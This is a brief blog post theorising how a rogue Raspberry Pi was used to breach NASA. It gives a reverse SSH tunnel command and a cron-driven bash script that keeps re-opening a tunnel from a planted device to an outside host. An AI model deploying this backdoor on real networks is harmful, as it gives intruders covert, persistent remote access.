If you haven’t heard the news of NASA getting hacked via an authorized raspberry pi… you live under a rock, but anyways this so called hack got me thinking. How easy it is to actually keep a raspberry pi undetectable both physically and also software wise?
A few quick google searches and messing around on my rpi gave results that I find slightly scary (just slightly). My theory of how the hack went down was quite simple in nature… setup the pi at an ethernet port that is out of the way and also by a power source. Have it setup with something like raspbian with the option to automatically login as a certain user so therefore we have access to ssh which is enabled as a system service (launches upon boot). SSH should be running on a common port (e.g. 80, 443, 43). It is setup as a remote ssh tunnel with certificates and have it check every minute if it needs to be created via a cronjob. On our system we than listen on the port that the tunnel was created on and as the user at localhost.
This is actually really simple in nature and not my own original content. If you search up ‘ssh reverse tunneling’ you will get a lot of articles on how to do this. The reason why this is possible is because of SSH’s ability to locally port forward a port. The command in question is something along this:
ssh -R 8080:localhost:22 myBoxxy@someLocalipAddress
This is run on our pi or whatever. On our own laptop, we do something like this:
ssh -p 8080 myPi@localhost
So essentially if the theory is correct, all you have to do is setup a bash script to try to make the tunnel and have it be checked every minute via a cronjob. Of course if you want to do it on another network, you would have to port forward the port used. The bash script that I cannot take credit for is:
#!/usr/bin/env bash
createTunnel() {
/usr/bin/ssh -o 'StrictHostKeyChecking no' -N -R 8080:localhost:80 myBoxxy@someIPaddress
}
/bin/pidof ssh
if [[ $? -ne 0 ]]; then
createTunnel
fi
Yeah I know. Really simple. Have a function that creates the tunnel and if the PID is 0, call that function.
Pretty much this proves how simple stuff can be:
- Overlooked
- Cause a huge security issue
- A bit of creativity can go a long way
The latter is what I find intriguing. Humans have the tendency to over think certain things. They can patch all the ‘critical and obvious’ vulns, but something as simple as a Bad USB drop or someone walking through the front door and installing a pi I find overlooked quite a bit.
I know. Quick and dirty, but this was just me sharing a theory. The limit is limitless.